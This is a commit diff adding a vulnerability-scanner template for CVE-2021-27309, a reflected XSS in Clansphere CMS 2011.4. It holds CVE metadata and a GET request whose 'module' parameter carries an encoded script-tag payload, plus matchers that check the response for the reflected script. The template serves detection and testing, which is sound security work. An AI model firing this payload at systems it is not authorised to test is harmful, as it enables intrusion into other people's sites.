Add CVE-2021-27309

cves/2021/CVE-2021-27309.yaml

@@ -0,0 +1,38 @@
+id: CVE-2021-27309
+
+info:
+  name: Clansphere CMS 2011.4 - Reflected XSS
+  author: edoardottt
+  severity: medium
+  description: Clansphere CMS 2011.4 allows unauthenticated reflected XSS via "module" parameter.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2021-27309
+    cwe-id: CWE-79
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-27309
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
+    - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
+  tags: cve,cve2021,clansphere,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language&module=module%27%22()%26%25%3Cyes%3E%3CScRiPt%20%3Ealert(9904)%3C/ScRiPt%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: word
+        part: body
+        words:
+          - "<yes><ScRiPt >alert(9904)</ScRiPt>"